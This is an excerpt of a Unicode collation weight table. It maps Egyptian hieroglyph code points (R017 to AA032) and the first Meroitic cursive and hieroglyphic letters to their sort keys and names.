+132C4 ; [.50D7.0020.0002] # EGYPTIAN HIEROGLYPH R017
+132C5 ; [.50D8.0020.0002] # EGYPTIAN HIEROGLYPH R018
+132C6 ; [.50D9.0020.0002] # EGYPTIAN HIEROGLYPH R019
+132C7 ; [.50DA.0020.0002] # EGYPTIAN HIEROGLYPH R020
+132C8 ; [.50DB.0020.0002] # EGYPTIAN HIEROGLYPH R021
+132C9 ; [.50DC.0020.0002] # EGYPTIAN HIEROGLYPH R022
+132CA ; [.50DD.0020.0002] # EGYPTIAN HIEROGLYPH R023
+132CB ; [.50DE.0020.0002] # EGYPTIAN HIEROGLYPH R024
+132CC ; [.50DF.0020.0002] # EGYPTIAN HIEROGLYPH R025
+132CD ; [.50E0.0020.0002] # EGYPTIAN HIEROGLYPH R026
+132CE ; [.50E1.0020.0002] # EGYPTIAN HIEROGLYPH R027
+132CF ; [.50E2.0020.0002] # EGYPTIAN HIEROGLYPH R028
+132D0 ; [.50E3.0020.0002] # EGYPTIAN HIEROGLYPH R029
+132D1 ; [.50E4.0020.0002] # EGYPTIAN HIEROGLYPH S001
+132D2 ; [.50E5.0020.0002] # EGYPTIAN HIEROGLYPH S002
+132D3 ; [.50E6.0020.0002] # EGYPTIAN HIEROGLYPH S002A
+132D4 ; [.50E7.0020.0002] # EGYPTIAN HIEROGLYPH S003
+132D5 ; [.50E8.0020.0002] # EGYPTIAN HIEROGLYPH S004
+132D6 ; [.50E9.0020.0002] # EGYPTIAN HIEROGLYPH S005
+132D7 ; [.50EA.0020.0002] # EGYPTIAN HIEROGLYPH S006
+132D8 ; [.50EB.0020.0002] # EGYPTIAN HIEROGLYPH S006A
+132D9 ; [.50EC.0020.0002] # EGYPTIAN HIEROGLYPH S007
+132DA ; [.50ED.0020.0002] # EGYPTIAN HIEROGLYPH S008
+132DB ; [.50EE.0020.0002] # EGYPTIAN HIEROGLYPH S009
+132DC ; [.50EF.0020.0002] # EGYPTIAN HIEROGLYPH S010
+132DD ; [.50F0.0020.0002] # EGYPTIAN HIEROGLYPH S011
+132DE ; [.50F1.0020.0002] # EGYPTIAN HIEROGLYPH S012
+132DF ; [.50F2.0020.0002] # EGYPTIAN HIEROGLYPH S013
+132E0 ; [.50F3.0020.0002] # EGYPTIAN HIEROGLYPH S014
+132E1 ; [.50F4.0020.0002] # EGYPTIAN HIEROGLYPH S014A
+132E2 ; [.50F5.0020.0002] # EGYPTIAN HIEROGLYPH S014B
+132E3 ; [.50F6.0020.0002] # EGYPTIAN HIEROGLYPH S015
+132E4 ; [.50F7.0020.0002] # EGYPTIAN HIEROGLYPH S016
+132E5 ; [.50F8.0020.0002] # EGYPTIAN HIEROGLYPH S017
+132E6 ; [.50F9.0020.0002] # EGYPTIAN HIEROGLYPH S017A
+132E7 ; [.50FA.0020.0002] # EGYPTIAN HIEROGLYPH S018
+132E8 ; [.50FB.0020.0002] # EGYPTIAN HIEROGLYPH S019
+132E9 ; [.50FC.0020.0002] # EGYPTIAN HIEROGLYPH S020
+132EA ; [.50FD.0020.0002] # EGYPTIAN HIEROGLYPH S021
+132EB ; [.50FE.0020.0002] # EGYPTIAN HIEROGLYPH S022
+132EC ; [.50FF.0020.0002] # EGYPTIAN HIEROGLYPH S023
+132ED ; [.5100.0020.0002] # EGYPTIAN HIEROGLYPH S024
+132EE ; [.5101.0020.0002] # EGYPTIAN HIEROGLYPH S025
+132EF ; [.5102.0020.0002] # EGYPTIAN HIEROGLYPH S026
+132F0 ; [.5103.0020.0002] # EGYPTIAN HIEROGLYPH S026A
+132F1 ; [.5104.0020.0002] # EGYPTIAN HIEROGLYPH S026B
+132F2 ; [.5105.0020.0002] # EGYPTIAN HIEROGLYPH S027
+132F3 ; [.5106.0020.0002] # EGYPTIAN HIEROGLYPH S028
+132F4 ; [.5107.0020.0002] # EGYPTIAN HIEROGLYPH S029
+132F5 ; [.5108.0020.0002] # EGYPTIAN HIEROGLYPH S030
+132F6 ; [.5109.0020.0002] # EGYPTIAN HIEROGLYPH S031
+132F7 ; [.510A.0020.0002] # EGYPTIAN HIEROGLYPH S032
+132F8 ; [.510B.0020.0002] # EGYPTIAN HIEROGLYPH S033
+132F9 ; [.510C.0020.0002] # EGYPTIAN HIEROGLYPH S034
+132FA ; [.510D.0020.0002] # EGYPTIAN HIEROGLYPH S035
+132FB ; [.510E.0020.0002] # EGYPTIAN HIEROGLYPH S035A
+132FC ; [.510F.0020.0002] # EGYPTIAN HIEROGLYPH S036
+132FD ; [.5110.0020.0002] # EGYPTIAN HIEROGLYPH S037
+132FE ; [.5111.0020.0002] # EGYPTIAN HIEROGLYPH S038
+132FF ; [.5112.0020.0002] # EGYPTIAN HIEROGLYPH S039
+13300 ; [.5113.0020.0002] # EGYPTIAN HIEROGLYPH S040
+13301 ; [.5114.0020.0002] # EGYPTIAN HIEROGLYPH S041
+13302 ; [.5115.0020.0002] # EGYPTIAN HIEROGLYPH S042
+13303 ; [.5116.0020.0002] # EGYPTIAN HIEROGLYPH S043
+13304 ; [.5117.0020.0002] # EGYPTIAN HIEROGLYPH S044
+13305 ; [.5118.0020.0002] # EGYPTIAN HIEROGLYPH S045
+13306 ; [.5119.0020.0002] # EGYPTIAN HIEROGLYPH S046
+13307 ; [.511A.0020.0002] # EGYPTIAN HIEROGLYPH T001
+13308 ; [.511B.0020.0002] # EGYPTIAN HIEROGLYPH T002
+13309 ; [.511C.0020.0002] # EGYPTIAN HIEROGLYPH T003
+1330A ; [.511D.0020.0002] # EGYPTIAN HIEROGLYPH T003A
+1330B ; [.511E.0020.0002] # EGYPTIAN HIEROGLYPH T004
+1330C ; [.511F.0020.0002] # EGYPTIAN HIEROGLYPH T005
+1330D ; [.5120.0020.0002] # EGYPTIAN HIEROGLYPH T006
+1330E ; [.5121.0020.0002] # EGYPTIAN HIEROGLYPH T007
+1330F ; [.5122.0020.0002] # EGYPTIAN HIEROGLYPH T007A
+13310 ; [.5123.0020.0002] # EGYPTIAN HIEROGLYPH T008
+13311 ; [.5124.0020.0002] # EGYPTIAN HIEROGLYPH T008A
+13312 ; [.5125.0020.0002] # EGYPTIAN HIEROGLYPH T009
+13313 ; [.5126.0020.0002] # EGYPTIAN HIEROGLYPH T009A
+13314 ; [.5127.0020.0002] # EGYPTIAN HIEROGLYPH T010
+13315 ; [.5128.0020.0002] # EGYPTIAN HIEROGLYPH T011
+13316 ; [.5129.0020.0002] # EGYPTIAN HIEROGLYPH T011A
+13317 ; [.512A.0020.0002] # EGYPTIAN HIEROGLYPH T012
+13318 ; [.512B.0020.0002] # EGYPTIAN HIEROGLYPH T013
+13319 ; [.512C.0020.0002] # EGYPTIAN HIEROGLYPH T014
+1331A ; [.512D.0020.0002] # EGYPTIAN HIEROGLYPH T015
+1331B ; [.512E.0020.0002] # EGYPTIAN HIEROGLYPH T016
+1331C ; [.512F.0020.0002] # EGYPTIAN HIEROGLYPH T016A
+1331D ; [.5130.0020.0002] # EGYPTIAN HIEROGLYPH T017
+1331E ; [.5131.0020.0002] # EGYPTIAN HIEROGLYPH T018
+1331F ; [.5132.0020.0002] # EGYPTIAN HIEROGLYPH T019
+13320 ; [.5133.0020.0002] # EGYPTIAN HIEROGLYPH T020
+13321 ; [.5134.0020.0002] # EGYPTIAN HIEROGLYPH T021
+13322 ; [.5135.0020.0002] # EGYPTIAN HIEROGLYPH T022
+13323 ; [.5136.0020.0002] # EGYPTIAN HIEROGLYPH T023
+13324 ; [.5137.0020.0002] # EGYPTIAN HIEROGLYPH T024
+13325 ; [.5138.0020.0002] # EGYPTIAN HIEROGLYPH T025
+13326 ; [.5139.0020.0002] # EGYPTIAN HIEROGLYPH T026
+13327 ; [.513A.0020.0002] # EGYPTIAN HIEROGLYPH T027
+13328 ; [.513B.0020.0002] # EGYPTIAN HIEROGLYPH T028
+13329 ; [.513C.0020.0002] # EGYPTIAN HIEROGLYPH T029
+1332A ; [.513D.0020.0002] # EGYPTIAN HIEROGLYPH T030
+1332B ; [.513E.0020.0002] # EGYPTIAN HIEROGLYPH T031
+1332C ; [.513F.0020.0002] # EGYPTIAN HIEROGLYPH T032
+1332D ; [.5140.0020.0002] # EGYPTIAN HIEROGLYPH T032A
+1332E ; [.5141.0020.0002] # EGYPTIAN HIEROGLYPH T033
+1332F ; [.5142.0020.0002] # EGYPTIAN HIEROGLYPH T033A
+13330 ; [.5143.0020.0002] # EGYPTIAN HIEROGLYPH T034
+13331 ; [.5144.0020.0002] # EGYPTIAN HIEROGLYPH T035
+13332 ; [.5145.0020.0002] # EGYPTIAN HIEROGLYPH T036
+13333 ; [.5146.0020.0002] # EGYPTIAN HIEROGLYPH U001
+13334 ; [.5147.0020.0002] # EGYPTIAN HIEROGLYPH U002
+13335 ; [.5148.0020.0002] # EGYPTIAN HIEROGLYPH U003
+13336 ; [.5149.0020.0002] # EGYPTIAN HIEROGLYPH U004
+13337 ; [.514A.0020.0002] # EGYPTIAN HIEROGLYPH U005
+13338 ; [.514B.0020.0002] # EGYPTIAN HIEROGLYPH U006
+13339 ; [.514C.0020.0002] # EGYPTIAN HIEROGLYPH U006A
+1333A ; [.514D.0020.0002] # EGYPTIAN HIEROGLYPH U006B
+1333B ; [.514E.0020.0002] # EGYPTIAN HIEROGLYPH U007
+1333C ; [.514F.0020.0002] # EGYPTIAN HIEROGLYPH U008
+1333D ; [.5150.0020.0002] # EGYPTIAN HIEROGLYPH U009
+1333E ; [.5151.0020.0002] # EGYPTIAN HIEROGLYPH U010
+1333F ; [.5152.0020.0002] # EGYPTIAN HIEROGLYPH U011
+13340 ; [.5153.0020.0002] # EGYPTIAN HIEROGLYPH U012
+13341 ; [.5154.0020.0002] # EGYPTIAN HIEROGLYPH U013
+13342 ; [.5155.0020.0002] # EGYPTIAN HIEROGLYPH U014
+13343 ; [.5156.0020.0002] # EGYPTIAN HIEROGLYPH U015
+13344 ; [.5157.0020.0002] # EGYPTIAN HIEROGLYPH U016
+13345 ; [.5158.0020.0002] # EGYPTIAN HIEROGLYPH U017
+13346 ; [.5159.0020.0002] # EGYPTIAN HIEROGLYPH U018
+13347 ; [.515A.0020.0002] # EGYPTIAN HIEROGLYPH U019
+13348 ; [.515B.0020.0002] # EGYPTIAN HIEROGLYPH U020
+13349 ; [.515C.0020.0002] # EGYPTIAN HIEROGLYPH U021
+1334A ; [.515D.0020.0002] # EGYPTIAN HIEROGLYPH U022
+1334B ; [.515E.0020.0002] # EGYPTIAN HIEROGLYPH U023
+1334C ; [.515F.0020.0002] # EGYPTIAN HIEROGLYPH U023A
+1334D ; [.5160.0020.0002] # EGYPTIAN HIEROGLYPH U024
+1334E ; [.5161.0020.0002] # EGYPTIAN HIEROGLYPH U025
+1334F ; [.5162.0020.0002] # EGYPTIAN HIEROGLYPH U026
+13350 ; [.5163.0020.0002] # EGYPTIAN HIEROGLYPH U027
+13351 ; [.5164.0020.0002] # EGYPTIAN HIEROGLYPH U028
+13352 ; [.5165.0020.0002] # EGYPTIAN HIEROGLYPH U029
+13353 ; [.5166.0020.0002] # EGYPTIAN HIEROGLYPH U029A
+13354 ; [.5167.0020.0002] # EGYPTIAN HIEROGLYPH U030
+13355 ; [.5168.0020.0002] # EGYPTIAN HIEROGLYPH U031
+13356 ; [.5169.0020.0002] # EGYPTIAN HIEROGLYPH U032
+13357 ; [.516A.0020.0002] # EGYPTIAN HIEROGLYPH U032A
+13358 ; [.516B.0020.0002] # EGYPTIAN HIEROGLYPH U033
+13359 ; [.516C.0020.0002] # EGYPTIAN HIEROGLYPH U034
+1335A ; [.516D.0020.0002] # EGYPTIAN HIEROGLYPH U035
+1335B ; [.516E.0020.0002] # EGYPTIAN HIEROGLYPH U036
+1335C ; [.516F.0020.0002] # EGYPTIAN HIEROGLYPH U037
+1335D ; [.5170.0020.0002] # EGYPTIAN HIEROGLYPH U038
+1335E ; [.5171.0020.0002] # EGYPTIAN HIEROGLYPH U039
+1335F ; [.5172.0020.0002] # EGYPTIAN HIEROGLYPH U040
+13360 ; [.5173.0020.0002] # EGYPTIAN HIEROGLYPH U041
+13361 ; [.5174.0020.0002] # EGYPTIAN HIEROGLYPH U042
+13362 ; [.5175.0020.0002] # EGYPTIAN HIEROGLYPH V001
+13363 ; [.5176.0020.0002] # EGYPTIAN HIEROGLYPH V001A
+13364 ; [.5177.0020.0002] # EGYPTIAN HIEROGLYPH V001B
+13365 ; [.5178.0020.0002] # EGYPTIAN HIEROGLYPH V001C
+13366 ; [.5179.0020.0002] # EGYPTIAN HIEROGLYPH V001D
+13367 ; [.517A.0020.0002] # EGYPTIAN HIEROGLYPH V001E
+13368 ; [.517B.0020.0002] # EGYPTIAN HIEROGLYPH V001F
+13369 ; [.517C.0020.0002] # EGYPTIAN HIEROGLYPH V001G
+1336A ; [.517D.0020.0002] # EGYPTIAN HIEROGLYPH V001H
+1336B ; [.517E.0020.0002] # EGYPTIAN HIEROGLYPH V001I
+1336C ; [.517F.0020.0002] # EGYPTIAN HIEROGLYPH V002
+1336D ; [.5180.0020.0002] # EGYPTIAN HIEROGLYPH V002A
+1336E ; [.5181.0020.0002] # EGYPTIAN HIEROGLYPH V003
+1336F ; [.5182.0020.0002] # EGYPTIAN HIEROGLYPH V004
+13370 ; [.5183.0020.0002] # EGYPTIAN HIEROGLYPH V005
+13371 ; [.5184.0020.0002] # EGYPTIAN HIEROGLYPH V006
+13372 ; [.5185.0020.0002] # EGYPTIAN HIEROGLYPH V007
+13373 ; [.5186.0020.0002] # EGYPTIAN HIEROGLYPH V007A
+13374 ; [.5187.0020.0002] # EGYPTIAN HIEROGLYPH V007B
+13375 ; [.5188.0020.0002] # EGYPTIAN HIEROGLYPH V008
+13376 ; [.5189.0020.0002] # EGYPTIAN HIEROGLYPH V009
+13377 ; [.518A.0020.0002] # EGYPTIAN HIEROGLYPH V010
+13378 ; [.518B.0020.0002] # EGYPTIAN HIEROGLYPH V011
+13379 ; [.518C.0020.0002] # EGYPTIAN HIEROGLYPH V011A
+1337A ; [.518D.0020.0002] # EGYPTIAN HIEROGLYPH V011B
+1337B ; [.518E.0020.0002] # EGYPTIAN HIEROGLYPH V011C
+1337C ; [.518F.0020.0002] # EGYPTIAN HIEROGLYPH V012
+1337D ; [.5190.0020.0002] # EGYPTIAN HIEROGLYPH V012A
+1337E ; [.5191.0020.0002] # EGYPTIAN HIEROGLYPH V012B
+1337F ; [.5192.0020.0002] # EGYPTIAN HIEROGLYPH V013
+13380 ; [.5193.0020.0002] # EGYPTIAN HIEROGLYPH V014
+13381 ; [.5194.0020.0002] # EGYPTIAN HIEROGLYPH V015
+13382 ; [.5195.0020.0002] # EGYPTIAN HIEROGLYPH V016
+13383 ; [.5196.0020.0002] # EGYPTIAN HIEROGLYPH V017
+13384 ; [.5197.0020.0002] # EGYPTIAN HIEROGLYPH V018
+13385 ; [.5198.0020.0002] # EGYPTIAN HIEROGLYPH V019
+13386 ; [.5199.0020.0002] # EGYPTIAN HIEROGLYPH V020
+13387 ; [.519A.0020.0002] # EGYPTIAN HIEROGLYPH V020A
+13388 ; [.519B.0020.0002] # EGYPTIAN HIEROGLYPH V020B
+13389 ; [.519C.0020.0002] # EGYPTIAN HIEROGLYPH V020C
+1338A ; [.519D.0020.0002] # EGYPTIAN HIEROGLYPH V020D
+1338B ; [.519E.0020.0002] # EGYPTIAN HIEROGLYPH V020E
+1338C ; [.519F.0020.0002] # EGYPTIAN HIEROGLYPH V020F
+1338D ; [.51A0.0020.0002] # EGYPTIAN HIEROGLYPH V020G
+1338E ; [.51A1.0020.0002] # EGYPTIAN HIEROGLYPH V020H
+1338F ; [.51A2.0020.0002] # EGYPTIAN HIEROGLYPH V020I
+13390 ; [.51A3.0020.0002] # EGYPTIAN HIEROGLYPH V020J
+13391 ; [.51A4.0020.0002] # EGYPTIAN HIEROGLYPH V020K
+13392 ; [.51A5.0020.0002] # EGYPTIAN HIEROGLYPH V020L
+13393 ; [.51A6.0020.0002] # EGYPTIAN HIEROGLYPH V021
+13394 ; [.51A7.0020.0002] # EGYPTIAN HIEROGLYPH V022
+13395 ; [.51A8.0020.0002] # EGYPTIAN HIEROGLYPH V023
+13396 ; [.51A9.0020.0002] # EGYPTIAN HIEROGLYPH V023A
+13397 ; [.51AA.0020.0002] # EGYPTIAN HIEROGLYPH V024
+13398 ; [.51AB.0020.0002] # EGYPTIAN HIEROGLYPH V025
+13399 ; [.51AC.0020.0002] # EGYPTIAN HIEROGLYPH V026
+1339A ; [.51AD.0020.0002] # EGYPTIAN HIEROGLYPH V027
+1339B ; [.51AE.0020.0002] # EGYPTIAN HIEROGLYPH V028
+1339C ; [.51AF.0020.0002] # EGYPTIAN HIEROGLYPH V028A
+1339D ; [.51B0.0020.0002] # EGYPTIAN HIEROGLYPH V029
+1339E ; [.51B1.0020.0002] # EGYPTIAN HIEROGLYPH V029A
+1339F ; [.51B2.0020.0002] # EGYPTIAN HIEROGLYPH V030
+133A0 ; [.51B3.0020.0002] # EGYPTIAN HIEROGLYPH V030A
+133A1 ; [.51B4.0020.0002] # EGYPTIAN HIEROGLYPH V031
+133A2 ; [.51B5.0020.0002] # EGYPTIAN HIEROGLYPH V031A
+133A3 ; [.51B6.0020.0002] # EGYPTIAN HIEROGLYPH V032
+133A4 ; [.51B7.0020.0002] # EGYPTIAN HIEROGLYPH V033
+133A5 ; [.51B8.0020.0002] # EGYPTIAN HIEROGLYPH V033A
+133A6 ; [.51B9.0020.0002] # EGYPTIAN HIEROGLYPH V034
+133A7 ; [.51BA.0020.0002] # EGYPTIAN HIEROGLYPH V035
+133A8 ; [.51BB.0020.0002] # EGYPTIAN HIEROGLYPH V036
+133A9 ; [.51BC.0020.0002] # EGYPTIAN HIEROGLYPH V037
+133AA ; [.51BD.0020.0002] # EGYPTIAN HIEROGLYPH V037A
+133AB ; [.51BE.0020.0002] # EGYPTIAN HIEROGLYPH V038
+133AC ; [.51BF.0020.0002] # EGYPTIAN HIEROGLYPH V039
+133AD ; [.51C0.0020.0002] # EGYPTIAN HIEROGLYPH V040
+133AE ; [.51C1.0020.0002] # EGYPTIAN HIEROGLYPH V040A
+133AF ; [.51C2.0020.0002] # EGYPTIAN HIEROGLYPH W001
+133B0 ; [.51C3.0020.0002] # EGYPTIAN HIEROGLYPH W002
+133B1 ; [.51C4.0020.0002] # EGYPTIAN HIEROGLYPH W003
+133B2 ; [.51C5.0020.0002] # EGYPTIAN HIEROGLYPH W003A
+133B3 ; [.51C6.0020.0002] # EGYPTIAN HIEROGLYPH W004
+133B4 ; [.51C7.0020.0002] # EGYPTIAN HIEROGLYPH W005
+133B5 ; [.51C8.0020.0002] # EGYPTIAN HIEROGLYPH W006
+133B6 ; [.51C9.0020.0002] # EGYPTIAN HIEROGLYPH W007
+133B7 ; [.51CA.0020.0002] # EGYPTIAN HIEROGLYPH W008
+133B8 ; [.51CB.0020.0002] # EGYPTIAN HIEROGLYPH W009
+133B9 ; [.51CC.0020.0002] # EGYPTIAN HIEROGLYPH W009A
+133BA ; [.51CD.0020.0002] # EGYPTIAN HIEROGLYPH W010
+133BB ; [.51CE.0020.0002] # EGYPTIAN HIEROGLYPH W010A
+133BC ; [.51CF.0020.0002] # EGYPTIAN HIEROGLYPH W011
+133BD ; [.51D0.0020.0002] # EGYPTIAN HIEROGLYPH W012
+133BE ; [.51D1.0020.0002] # EGYPTIAN HIEROGLYPH W013
+133BF ; [.51D2.0020.0002] # EGYPTIAN HIEROGLYPH W014
+133C0 ; [.51D3.0020.0002] # EGYPTIAN HIEROGLYPH W014A
+133C1 ; [.51D4.0020.0002] # EGYPTIAN HIEROGLYPH W015
+133C2 ; [.51D5.0020.0002] # EGYPTIAN HIEROGLYPH W016
+133C3 ; [.51D6.0020.0002] # EGYPTIAN HIEROGLYPH W017
+133C4 ; [.51D7.0020.0002] # EGYPTIAN HIEROGLYPH W017A
+133C5 ; [.51D8.0020.0002] # EGYPTIAN HIEROGLYPH W018
+133C6 ; [.51D9.0020.0002] # EGYPTIAN HIEROGLYPH W018A
+133C7 ; [.51DA.0020.0002] # EGYPTIAN HIEROGLYPH W019
+133C8 ; [.51DB.0020.0002] # EGYPTIAN HIEROGLYPH W020
+133C9 ; [.51DC.0020.0002] # EGYPTIAN HIEROGLYPH W021
+133CA ; [.51DD.0020.0002] # EGYPTIAN HIEROGLYPH W022
+133CB ; [.51DE.0020.0002] # EGYPTIAN HIEROGLYPH W023
+133CC ; [.51DF.0020.0002] # EGYPTIAN HIEROGLYPH W024
+133CD ; [.51E0.0020.0002] # EGYPTIAN HIEROGLYPH W024A
+133CE ; [.51E1.0020.0002] # EGYPTIAN HIEROGLYPH W025
+133CF ; [.51E2.0020.0002] # EGYPTIAN HIEROGLYPH X001
+133D0 ; [.51E3.0020.0002] # EGYPTIAN HIEROGLYPH X002
+133D1 ; [.51E4.0020.0002] # EGYPTIAN HIEROGLYPH X003
+133D2 ; [.51E5.0020.0002] # EGYPTIAN HIEROGLYPH X004
+133D3 ; [.51E6.0020.0002] # EGYPTIAN HIEROGLYPH X004A
+133D4 ; [.51E7.0020.0002] # EGYPTIAN HIEROGLYPH X004B
+133D5 ; [.51E8.0020.0002] # EGYPTIAN HIEROGLYPH X005
+133D6 ; [.51E9.0020.0002] # EGYPTIAN HIEROGLYPH X006
+133D7 ; [.51EA.0020.0002] # EGYPTIAN HIEROGLYPH X006A
+133D8 ; [.51EB.0020.0002] # EGYPTIAN HIEROGLYPH X007
+133D9 ; [.51EC.0020.0002] # EGYPTIAN HIEROGLYPH X008
+133DA ; [.51ED.0020.0002] # EGYPTIAN HIEROGLYPH X008A
+133DB ; [.51EE.0020.0002] # EGYPTIAN HIEROGLYPH Y001
+133DC ; [.51EF.0020.0002] # EGYPTIAN HIEROGLYPH Y001A
+133DD ; [.51F0.0020.0002] # EGYPTIAN HIEROGLYPH Y002
+133DE ; [.51F1.0020.0002] # EGYPTIAN HIEROGLYPH Y003
+133DF ; [.51F2.0020.0002] # EGYPTIAN HIEROGLYPH Y004
+133E0 ; [.51F3.0020.0002] # EGYPTIAN HIEROGLYPH Y005
+133E1 ; [.51F4.0020.0002] # EGYPTIAN HIEROGLYPH Y006
+133E2 ; [.51F5.0020.0002] # EGYPTIAN HIEROGLYPH Y007
+133E3 ; [.51F6.0020.0002] # EGYPTIAN HIEROGLYPH Y008
+133E4 ; [.51F7.0020.0002] # EGYPTIAN HIEROGLYPH Z001
+133E5 ; [.51F8.0020.0002] # EGYPTIAN HIEROGLYPH Z002
+133E6 ; [.51F9.0020.0002] # EGYPTIAN HIEROGLYPH Z002A
+133E7 ; [.51FA.0020.0002] # EGYPTIAN HIEROGLYPH Z002B
+133E8 ; [.51FB.0020.0002] # EGYPTIAN HIEROGLYPH Z002C
+133E9 ; [.51FC.0020.0002] # EGYPTIAN HIEROGLYPH Z002D
+133EA ; [.51FD.0020.0002] # EGYPTIAN HIEROGLYPH Z003
+133EB ; [.51FE.0020.0002] # EGYPTIAN HIEROGLYPH Z003A
+133EC ; [.51FF.0020.0002] # EGYPTIAN HIEROGLYPH Z003B
+133ED ; [.5200.0020.0002] # EGYPTIAN HIEROGLYPH Z004
+133EE ; [.5201.0020.0002] # EGYPTIAN HIEROGLYPH Z004A
+133EF ; [.5202.0020.0002] # EGYPTIAN HIEROGLYPH Z005
+133F0 ; [.5203.0020.0002] # EGYPTIAN HIEROGLYPH Z005A
+133F1 ; [.5204.0020.0002] # EGYPTIAN HIEROGLYPH Z006
+133F2 ; [.5205.0020.0002] # EGYPTIAN HIEROGLYPH Z007
+133F3 ; [.5206.0020.0002] # EGYPTIAN HIEROGLYPH Z008
+133F4 ; [.5207.0020.0002] # EGYPTIAN HIEROGLYPH Z009
+133F5 ; [.5208.0020.0002] # EGYPTIAN HIEROGLYPH Z010
+133F6 ; [.5209.0020.0002] # EGYPTIAN HIEROGLYPH Z011
+133F7 ; [.520A.0020.0002] # EGYPTIAN HIEROGLYPH Z012
+133F8 ; [.520B.0020.0002] # EGYPTIAN HIEROGLYPH Z013
+133F9 ; [.520C.0020.0002] # EGYPTIAN HIEROGLYPH Z014
+133FA ; [.520D.0020.0002] # EGYPTIAN HIEROGLYPH Z015
+133FB ; [.520E.0020.0002] # EGYPTIAN HIEROGLYPH Z015A
+133FC ; [.520F.0020.0002] # EGYPTIAN HIEROGLYPH Z015B
+133FD ; [.5210.0020.0002] # EGYPTIAN HIEROGLYPH Z015C
+133FE ; [.5211.0020.0002] # EGYPTIAN HIEROGLYPH Z015D
+133FF ; [.5212.0020.0002] # EGYPTIAN HIEROGLYPH Z015E
+13400 ; [.5213.0020.0002] # EGYPTIAN HIEROGLYPH Z015F
+13401 ; [.5214.0020.0002] # EGYPTIAN HIEROGLYPH Z015G
+13402 ; [.5215.0020.0002] # EGYPTIAN HIEROGLYPH Z015H
+13403 ; [.5216.0020.0002] # EGYPTIAN HIEROGLYPH Z015I
+13404 ; [.5217.0020.0002] # EGYPTIAN HIEROGLYPH Z016
+13405 ; [.5218.0020.0002] # EGYPTIAN HIEROGLYPH Z016A
+13406 ; [.5219.0020.0002] # EGYPTIAN HIEROGLYPH Z016B
+13407 ; [.521A.0020.0002] # EGYPTIAN HIEROGLYPH Z016C
+13408 ; [.521B.0020.0002] # EGYPTIAN HIEROGLYPH Z016D
+13409 ; [.521C.0020.0002] # EGYPTIAN HIEROGLYPH Z016E
+1340A ; [.521D.0020.0002] # EGYPTIAN HIEROGLYPH Z016F
+1340B ; [.521E.0020.0002] # EGYPTIAN HIEROGLYPH Z016G
+1340C ; [.521F.0020.0002] # EGYPTIAN HIEROGLYPH Z016H
+1340D ; [.5220.0020.0002] # EGYPTIAN HIEROGLYPH AA001
+1340E ; [.5221.0020.0002] # EGYPTIAN HIEROGLYPH AA002
+1340F ; [.5222.0020.0002] # EGYPTIAN HIEROGLYPH AA003
+13410 ; [.5223.0020.0002] # EGYPTIAN HIEROGLYPH AA004
+13411 ; [.5224.0020.0002] # EGYPTIAN HIEROGLYPH AA005
+13412 ; [.5225.0020.0002] # EGYPTIAN HIEROGLYPH AA006
+13413 ; [.5226.0020.0002] # EGYPTIAN HIEROGLYPH AA007
+13414 ; [.5227.0020.0002] # EGYPTIAN HIEROGLYPH AA007A
+13415 ; [.5228.0020.0002] # EGYPTIAN HIEROGLYPH AA007B
+13416 ; [.5229.0020.0002] # EGYPTIAN HIEROGLYPH AA008
+13417 ; [.522A.0020.0002] # EGYPTIAN HIEROGLYPH AA009
+13418 ; [.522B.0020.0002] # EGYPTIAN HIEROGLYPH AA010
+13419 ; [.522C.0020.0002] # EGYPTIAN HIEROGLYPH AA011
+1341A ; [.522D.0020.0002] # EGYPTIAN HIEROGLYPH AA012
+1341B ; [.522E.0020.0002] # EGYPTIAN HIEROGLYPH AA013
+1341C ; [.522F.0020.0002] # EGYPTIAN HIEROGLYPH AA014
+1341D ; [.5230.0020.0002] # EGYPTIAN HIEROGLYPH AA015
+1341E ; [.5231.0020.0002] # EGYPTIAN HIEROGLYPH AA016
+1341F ; [.5232.0020.0002] # EGYPTIAN HIEROGLYPH AA017
+13420 ; [.5233.0020.0002] # EGYPTIAN HIEROGLYPH AA018
+13421 ; [.5234.0020.0002] # EGYPTIAN HIEROGLYPH AA019
+13422 ; [.5235.0020.0002] # EGYPTIAN HIEROGLYPH AA020
+13423 ; [.5236.0020.0002] # EGYPTIAN HIEROGLYPH AA021
+13424 ; [.5237.0020.0002] # EGYPTIAN HIEROGLYPH AA022
+13425 ; [.5238.0020.0002] # EGYPTIAN HIEROGLYPH AA023
+13426 ; [.5239.0020.0002] # EGYPTIAN HIEROGLYPH AA024
+13427 ; [.523A.0020.0002] # EGYPTIAN HIEROGLYPH AA025
+13428 ; [.523B.0020.0002] # EGYPTIAN HIEROGLYPH AA026
+13429 ; [.523C.0020.0002] # EGYPTIAN HIEROGLYPH AA027
+1342A ; [.523D.0020.0002] # EGYPTIAN HIEROGLYPH AA028
+1342B ; [.523E.0020.0002] # EGYPTIAN HIEROGLYPH AA029
+1342C ; [.523F.0020.0002] # EGYPTIAN HIEROGLYPH AA030
+1342D ; [.5240.0020.0002] # EGYPTIAN HIEROGLYPH AA031
+1342E ; [.5241.0020.0002] # EGYPTIAN HIEROGLYPH AA032
+109A0 ; [.5242.0020.0002] # MEROITIC CURSIVE LETTER A
+10980 ; [.5242.0020.0004][.0000.0110.0004] # MEROITIC HIEROGLYPHIC LETTER A
+109A1 ; [.5243.0020.0002] # MEROITIC CURSIVE LETTER E
+10981 ; [.5243.0020.0004][.0000.0110.0004] # MEROITIC HIEROGLYPHIC LETTER E
+109A2 ; [.5244.0020.0002] # MEROITIC CURSIVE LETTER I
+10982 ; [.5244.0020.0004][.0000.0110.0004] # MEROITIC HIEROGLYPHIC LETTER I
+109A3 ; [.5245.0020.0002] # MEROITIC CURSIVE LETTER O
+10983 ; [.5245.0020.0004][.0000.0110.0004] # MEROITIC HIEROGLYPHIC LETTER O
+109A4 ; [.5246.0020.0002] # MEROITIC CURSIVE LETTER YA
+10984 ; [.5246.0020.0004][.0000.0110.0004] # MEROITIC HIEROGLYPHIC LETTER YA
+109A5 ; [.5247.0020.0002] # MEROITIC CURSIVE LETTER WA
+10985 ; [.5247.0020.0004][.0000.0110.0004] # MEROITIC HIEROGLYPHIC LETTER WA
+109A6 ; [.5248.0020.0002] # MEROITIC CURSIVE LETTER BA
+10986 ; [.5248.0020.0004][.0000.0110.0004] # MEROITIC HIEROGLYPHIC LETTER BA
+10987 ; [.5248.0020.0004][.0000.0111.0004] # MEROITIC HIEROGLYPHIC LETTER BA-2
+109A7 ; [.5249.0020.0002] # MEROITIC CURSIVE LETTER PA
+10988 ; [.5249.0020.0004][.0000.0110.0004] # MEROITIC HIEROGLYPHIC LETTER PA
